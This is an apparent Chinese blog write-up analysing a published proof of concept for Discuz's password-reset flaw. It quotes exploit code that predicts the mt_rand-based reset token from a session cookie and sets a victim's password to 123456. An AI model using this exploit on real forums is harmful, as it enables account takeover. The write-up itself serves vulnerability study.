K3sDAAA0GYk+lGLFtaSJwAAFMgY9KMuIawrWwAAKAfEAwAAoA7QbAAAgDpAswEAAOoAzS4CvskNoIfnBZYW9n0R1H4GlZN/6G/fQY2wxLC0sO+HJ+L3vEsj1y+pC6XQNM7/6Qph9R9R+fTFqnq58yKXwrxb7PPSa0rC/k+M63IiP0T6dsgLJR6Y9kZfkk0f8cwrh5ia7dLmxLKj2RkJWveSn5f+8vFqanRowUn68wh9QH0HxvtgWB/XjKE7/l1BZcFzHSguP94Q1lQ17W23Lv/WKbv6C7OzpqrE6zyupKGhve1yUPNa9uO61tdZmGZoffpo18QNQlOclCjmWrj8u0bp21PqAHMo4vBYd3PoFm8MIoJOfWfr1PH4yS2usyAiJT36M856NvV9xGhi5eqj6b+wa3P/ZNkPofUZ6joa04lQ0iwhOv69+QjtuTKEKZpdCMIDubCIZrt57UpJzt91Fpj923hTDZ2d90gVcs6OJlauPq7+Gj95r72hNe3WWynzyuUnNFYQ8pTTQwj+rc4jVg2yQHFLwfXMKJ+BxiBoiDUN/aEQdKCkHJcaZD+dY8ibZ09nkDKuN5/QddcUOf3azEfITZOS5m5QfUKD5qpDNMJ8hbQTnbvuChGzTBYEKG5BDPUYhJ5HmgyFsSnHpX4u5llpPePMs1V/PKWQUnP9ushjU/JJyTkipSxzSQmaqw7RmA7b2zUlnHVsY8M7KjET0EBxBybxvOs1B/0ZJD/Snbu5jlFXJu0hQdNJT8B6ugk99deasfoM06+nrcmmLG7okFz1yVWH0LVr341eOG84vX9NN+9CKDsHzRdcUMThEc6+/va6y7/c7vWjPL+CQsi35P7C7OQocfXX9xf8C/X09g9KMnRRXEM0/uX05JT0/oPq00e7KyXXFFwFMdGXIsh/Y6AJre8Zmg94oYhFUM6GLieTNhFZDXVMlFnASgnVhoroewq9+o9YlxEsWSFQxCIoZ0OXk0mHYhNrU0WSdSG8Xw6STxYQbIiGOsI6eLpGQONg6LwAIBUeYwAAgDpAswEAAOoAzS4CProEAAAv6EQRoNkAAOAFnRieYn9KaPEpjfh3ewAA0uEcHJi2GpWmTGg2AEBRcA4OjPeXGs1XcNd7eR/tmrgZCdXsMj+fAADoCQ674bGqjka9SriWJ9W3zKPZALBUcNgVgetlV+6p0dG+tR8AABYGJ28puGS70+56f12MZuvfm0P7AwCAF07SggjV19CxGp+8WwMAFAun8MCE6nEfGlyvZvMSDwBLBYfd8Fg/QBY+WF5kuyul9FlnobR8AAB6hcOuCBCeaCgdACwPHHZFgPDEQd0AYKngvAMAAKgDNBsAAKAO0GwAAIA6QLOLgO/LAgCAF3SiCJZNs5dtvgAAWeDcHJ4Cf+95Rn8pWT0PWAH9L6lPdb9P36z/WzT633c3x8rZaq7b/0ycl3K+oflEjFXmL5SxPcQ7r4i4cmiAONhPAyOcTYOz4HwGnL580EfoiuA5r0/l2Pk/U+YlV2nYfDSxTIRbPdUHIBH208B4D5Q51nZX/1zt3rjy+RWXvDCk6ecEdOUTdy17zutzfu0qmvU61xzj6iZMIbo+mlhCDiaahCPq024XogO4YNMMj/XplZ/2eq9Dpxx6tDUG+rGuuPJc+msP6tPp3G53detjHb1j5Wyj6yC0C3Ofo3Sir6GMEBdAhk1TBJrT0GzPda4t8lrISt+4AFxnulxPV/9oP8q1Eyo8/2/7Qs7H5V+zOrIfMx+hGvoimENcpZBzi8hH9gOQHXZYKbgODusZYd4KOtqmuvPLvJbjZjkTXakqD0RXnqHo55LYrqynN7dO53a70E0/X+WSafyYt/T+5XZlDsK1t6WzXu0WOSuALLDDCiL0PA0dq/GpP9dSxgYd0PoOGemjPrn8W687gVz/7Hsdhf7WHHLtE9lnB2WeynkJjQDZYZMNjPcsSOzTx3VKXMGb99Rb5LHYR31y+Y/IZ/7Pha2j0DnFf2j+oXOUJxWalQtrfQA0sGmGx3rGNevx9u+p3ZWSt798rU9J6NwrQUma/a1z14QQxgpxlWP1+Xj9y7OztltzCPXvqrMrf8Gbq788KSEla1Ahk6AhADPYNEXAAwyFwFZcDNQZ4mDTFAEPMJQDu7FvqDBEw74BAACoAzQbAACgDtBsAACAOkCzl4Lav39G/gAAUzR7SZB/fWXx+YRC/gAAUzS7ELy/WhrqSum8b83IMq/s+StH5SpO3/XvtQgAUBQ8tMOT8fR0CXb2QKHJRIfOnr/eSfZw/dU/1DOCDVApPLfD4zpAre9nsgZoWgTneZk7d81CEzpv/kH9O/lbo0dHlPPP1R6aFQAUDs/t8FgPUJc2e4VQ6d97y9ozSCm9qQaFTsw/tPM0k2bLcTNqc6+lAIBC4LkdGJcWyte5DvRez27XFBJdadpTeppD0qukz1/eD2a7N4Q+GQAoHx7d4fEewUrxk8/iLAe9oBnCkKBAsjdNY5AHTecsIheUf2i7PkkEG6BqeHqHZzGabe3Q6wmeV7OtTkLdpnyNssj8+9PsoJ4AUBo8usPTq2bLYxeg2dZAehXMnn+WIQPmr08yV2cAKAee2+GRX6qsahfkSvBjvZURl/+goNnzT+8/bP6aDPP2B4BC4LkdFa6zuMAzOigl8s/rv8B6AoAGntuxYT2OSzuja9eYovKPc15aSQFAAw8tAABAHaDZAAAAdYBmAwAA1AGaDRngm6MyuepDnQGWHJ5/yACaJNN3fcZaNwDowHMOqeT6JeNpJT/0PkeZbVx9gvwE1a3YegKAFx5dSKItAD2JQbEa45JVV4t+Iv35CfUAAEXBcwtJaFTBvDbfF10vkY1BT1Ow5mNeC1Mwe1pb8vqRKxPX3keRASALPJyQivWUd2meoIUaV8pkZCULyrPjR8g/SCDl3EKHhGqzHALNBigWHk7IgKy+i9TsUOTc5GSUmm29FSHAwq28QwCgWHhoIQ+CgC1SsxsDfdpybt4+cjjXZIOcuDqEhtYEAoAC4aGFbITqdB+a3UfOmv6aPDU+4/wIQ5RBAaAKeGghiRSdXgbNDvWpadFrdqiWNyewDgGAweHhhFSaFq52pX5rXC0mf6/aCXnq/bsmFe1Hk4+3vY8iA0AWeDghAxz0M0I1skA/LCVAyfBwQgY46Ofo35v79oNgA4wPnk8AAIA6QLMBAADqAM0GAACoAzQbMsD3QeOgbmXCupQJ6zJFsyELPEtx5Kob9c8L61Imy1ZP+w+iDpIKjImmxdC5rKOolMxkMtatvx8yT8lH6VPoHOdH2Z4leY0rTWO0twgPiesit/eUTET/hdFfSvb900ckWB7au6q0x6mcfOQDrqc8487QvHG9PoXOcX5cToKEShk0jji36clkWRfZiT7J0DpzzpwMt7BIMEqE/dqsx9ru6p+rXRN3AehPN/l8jCumfspZijN30g4tz8sa3epHGdTb7vUjtC/zugjrFZSn7Efub70VtwS52r1x5RqGJe8sEoAO6+Pkesbkvbv467jJup4oYYiyPS7/oCUIyjZlvu0hmvpbQ3f8eOO66qAvRWnrIk9qwevi7Z9ldvqeKTmXfC1N2ZwtQCjK3TYNfP4T/YTG6gkhnFy31Gc7dpqJ9ZHTFlJVliIo57i5lLMuGfdqlnXxLkqvs1NWWMgzdJ+ErnuuayErNBvy4Npw1mfevLWYZ8maUsQ0g/zI3az10V8LIeKmqVwvr4fGeI3zpuQKrZlLp6c5MHTpy1kXwcmw65I+u9BSWIdYk3HVxxVR066/luNqroWs0GzIRui+Dx2r8al/HhaGN3Rfz3b4lLNUqX1auY4za0TrLdOPN/Nce4B1EaK7UsqSqowmdGh6oT5D91jO/WN6B9CTsl81ffq4Dp1d4hlkf/CyzsUbIjrPCKypRswraPly7YEC1yVllMtDyrrIyQTlqe+sWceUPn1cp8QVvKHZkErTwtpo3YiLaXelFDo1ZX/Zj8u5Jn/5OrREygyj0ecvJxm0ZO2e1hKZoZXJm+0LWxdzlL6/y0PiugiZ9zojaz4RRe6jPahurpqb13b/qmoBiAQ9e0uIqz7UrUxYlzj6rhvrMkWzIQs8S16sJaJuZcK6RLCAorEuUzQbAACgFtBsAACAOkCzAQAA6gDNBgAAqAM0GwAAoA7Q7OHhhyEBAEADUlEEyDYAAHhBJ4oAzQYAAC/oRBGg2QAA4AWdKAVkGwAAZBCJgkC2AQBAAIUoBQQbAABkEIkiQLABAMALOlEEaDYAAHhBJ4oAzQYAAC/oxPAg2AAAoAGpAAAAqAM0GwAAoA7QbAAAgDpAswEAAOoAzQYAAKiDMWg2P3cNAADLwEikDtkGAIDRMxKdQ7MBAGD0jETn0GwAABg949E5ZBsAAMbNqEQO2QYAgBEzHoVDsAEAYNyMROQQbAAAGD0j0Tk0GwAARs9IdA7NBgCA0TMGnUOwAQBgGUDqAAAA6gDNBgAAqAM0GwAAoA7QbAAAgDpAswEAAOqgmfJz1wAAADWwJtXINgAAQOGg2QAAAHWAZgMAANTBSZ1GtgEAAEpmnUgj2wAAAMXCezYAAEAd8P1sAACAOkCzAQAA6gDNBgAAqAP+DhoAAEAdINUAAAB1gGYDAADUAZoNAABQB2g2AABAHaDZAAAAdYBmAwAA1AGaDQAAUAdoNgAAQB2g2QAAAHWAZgMAANQBmg0AAFAHaDYAAEAdoNkAAAB1gGYDAADUAZoNAABQB2g2AABAHaDZAAAAdYBmAwAA1ME4Nfs5O2/GnrPz5ts//BdDLwUAAGQDzR6zeTW7aZqmKWgPlJbPWKHO44B1XEIGXu+e9tzCRHHB4dBsyAJ1Hges4xKytt5Ni/wx3G7L0ey4gdZRQa6iE9b4aWu2WepeFz2CoHxcnQec1AKCZpldaes+JyWlXNNZTFnGvY4aRrBeQ1W+WUDsxc9tYZqd7ipXXKufuWa7tM11d/HE5ePqOUrNzrJkpa17myXR7NGvo4ZxrNcw54wrsCvRZj3mEOuszFsuJ0o/8qzaMmZtdF13Opvt1v6mdnpdufq7XHnbrfNSararXVgCTf8ghLHeraL05s1/qtvqmv0ZXQeBuduUEMo6e+fbU3t0XKH4EX68tUph7taaVagT163Eevbkx+s8zo+3JinM3crRF0akZuuvXf5dtyL8mwjvr+32oGurW2sUb+PCrmea7SpX0Lp7+1gfsyC8w+Xdou/pyt+cjnKsMn8znzbKIdPkUnvX3dW+zNculm0dFxmrivVKWcE4zCnkr1fQrSxrU7hm59Jyq592B1mzrbc0dTb75Nq1siv9AxOxr9qPpaa/GSVjHawEPQJ6V7LD0GcwxU9EzbP4t/rpbzWrW8dcax2aTxXr1V9cZz6uqLlqGnorMdaM0M+Qi9Vs16Rcfjp3vZpt3hXq3KzH2icd15boxJWjR+yrZv2TL/e35hNUCsGPd0hoLMGbKyVvnvrKm+3667i46X705XX51wwR0tBjerAmk6uepiu5PdR/XJ76Mrr8a4ZY09CHzsWYNTvv59LTITRb7p/+nh1X86C1iEAfyxU9Yl91nsm8+zwLzQlyxdJUT1/hOJ+hdU7xH+Snv9Wsbh1zXYf6D8pzqPXqL64zH1fUjOskzEouQei6zilcs0Ovo/0Imu1dL2ER9Wth+pF7hsZyOdfvq/Y/E/eecqbRaJYsxUmWPn1c54qb4icjS7uO4zS1vHQAAAOuSURBVFuv/oJK+QhRm/WYKbo2nOnN5cc6RGi0xjUxP1t2fYw8Xa9zZn/XP61B5U+qvf41/YP8CD83PlWsl9BfuRYu/3LnxvZUKPdP6L5qT0Hor/Ej38qCt0TRTlyT1QTN2K6ps9DZvM7oJyPelKKduIqpCSq0a0Jo2juN5nVonoKfjMgp9RFRSmbB8RaD+Xq6nCZrttCekaAQgzwDXsrMqsMI6gzTIteR3eICzc7G4GJZiMl/B83VmJFQ/2WeDmVm1WYcdYYy15HdYmWosoxzJQYXy0KM/69XNM16hk4HYDB4BIpinCsxuFgWYmg2AMCYGKdmAwAAjA80GwAAoA7QbAAAgDqw/6IbAAAAlEbvv40OAAAAWUCzAQAA6gDNBgAAqAPp740DAABAOfBnngAAAOqA92wAAIA64PvZAAAAdYBmAwAA1AGaDQAAUAf8HTQAAIA6QKQBAADqAM0GAACoAzQbAACgDtDsohnrDxmMdV4AAL0yknNzrBrAvAAAYM5Izk2XBjQtlEP6SyZ0lCt5a7sQVOivL06o/4j2XMhxXf37yAQAIC9jPqq8MrP4uPoh7ZbQ6xQ/08CvCbx+9P3z4o2uaQcAKIrqzynhpS1UswWtMm9ZG739XdE1LbKflP6h15o8XbdC85yK6xIaKGIWAADlMJJzKv2A9mrV/L+dC9NhkP+UPEPbc11nTMmbp7dPc4I+sgIAKIqRHFLmgdsYCJ2nCq1qK4TQP9S/q788L01Pzbzk4gg5a6JHz0s/l9CUItoBAMphJIdUkGYInU0Zm183Q2i20NmVpzKufC3UQZln9Lxct9LziWsHACiHkRxSXplM79ysl2qvxgj+Nf01YzUaFjo21L8rVh/zCsonaPU1DgEABmckh5RXJtM7z//buTDHev2n9A/VsFy6GOo/ug6CE00+cvSIdgCAcqj+kGoMOreEUYIrV8/5P11Bva68Subtbw3trYPQ6Jpvin/XpBLrYM3Nit6/xhsAQAks6TmVfkZHe1geLRGSX8C8lqfOALA8LO85lXhMxw0PlbGqtaQ0zUawAaB2OKoiCTrohU+DR8xQs17OagPAMsChBgAAUAdoNgAAQB2g2QAAAHWAZgMAANTBeDSbnzkCAIBxMxKRQ7ABAGD0jETn0GwAABg9I9E5NBsAAEbPGHQOwQYAgGWgeqlDsAEAYEkYg9oh2wAAsAyMROqQbQAAGD0j0Tk0GwAARs9IdA7NBgCA0TMenUO2AQBg3CByAAAAdfD/us+dsiO5cwQAAAAASUVORK5CYII=" alt="" />

所以我们在进行表单的模拟提交之前,要先获取到一个有效的formhash。

接下来是发送密码找回的请求POST请求。这是UI界面的截图

aaarticlea/png;base64,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" alt="" />

aaarticlea/png;base64,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" alt="" />

来看我们的poc代码:

if($hash){

$cmd ='action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];

$username:目标用户名

$email:目标用户的邮箱

$formhash:formhash

接下来,poc提取出了获得的HTTP头的cookie设置信息:

$resp .= fread($fp,1024);

....

preg_match('/Set-Cookie:\s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/', $resp, $sid);

这个cookie值就是第一个重点,我们之后要详细分析是怎么从这个cookie推出id_hash的。

接下来,poc进行了一些很重要的算法运算:

if(!$sid)    //$sid是刚才获得cookie值

  exit("Exploit Failed!\n");

$seed = getseed();

if($seed){

  mt_srand($seed);

  random();

  mt_rand();

  $id = random();

  $fp = fsockopen($host,80);

$cmd ='action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];    //把算出的id_hash带入POST参数域中

那getseed()是什么意思呢?我们进入DZ的源代码进行白盒分析一下,看看80vul是怎么利用逆向算法达到爆破的目的的(我自己感觉这有点类似逆向里面的算法逆向,原理差不多,都是从结果推出起源)

我们刚才第二次发出的POST请求:

$cmd ='action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];

对应到代码里面就是这段:

member.php

elseif($action == 'lostpasswd')
{
    $discuz_action = 141;
    if(!submitcheck('lostpwsubmit'))
    {//基于formhash的CSRF检查
        include template('lostpasswd');
    }
    else
    {
        $secques = quescrypt($questionid, $answer);
        $query = $db->query("SELECT uid, username, adminid, email FROM {$tablepre}members WHERE username='$username' AND secques='$secques' AND email='$email'");
        if(!$member = $db->fetch_array($query))
        {
            showmessage('getpasswd_account_notmatch', NULL, 'HALTED');
        }
        elseif($member['adminid'] == 1 || $member['adminid'] == 2)
        {
            showmessage('getpasswd_account_invalid', NULL, 'HALTED');
        }
        $idstring = random(6); 
        $db->query("UPDATE {$tablepre}memberfields SET authstr='$timestamp\t1\t$idstring' WHERE uid='$member[uid]'");
        sendmail("$username <$member[email]>", 'get_passwd_subject', 'get_passwd_message');
        showmessage('getpasswd_send_succeed');
    }
}

可以看到,程序先进行CSRF检查,然后根据我们提交的目标用户参数从数据库中查出username,adminid,email参数,并判断adminid是否为1/2(普通用户的adminid都是从3开始算起的,管理员是1),即不能找回管理员的密码。

然后就是一句很关键的话了:

$idstring = random(6);

接下来就直接把生成的id_hash插入数据库中。

$db->query("UPDATE {$tablepre}memberfields SET authstr='$timestamp\t1\t$idstring' WHERE uid='$member[uid]'");

random()函数位于:/include/global_func.php中

function random($length, $numeric = 0)
{
    PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
    if($numeric)
    {
        $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
    }
    else
    {
        $hash = '';
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
        $max = strlen($chars) - 1;
        for($i = 0; $i < $length; $i++)
        {
            $hash .= $chars[mt_rand(0, $max)];
        }
    }
    return $hash;
}

注意第一句话:

PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的。

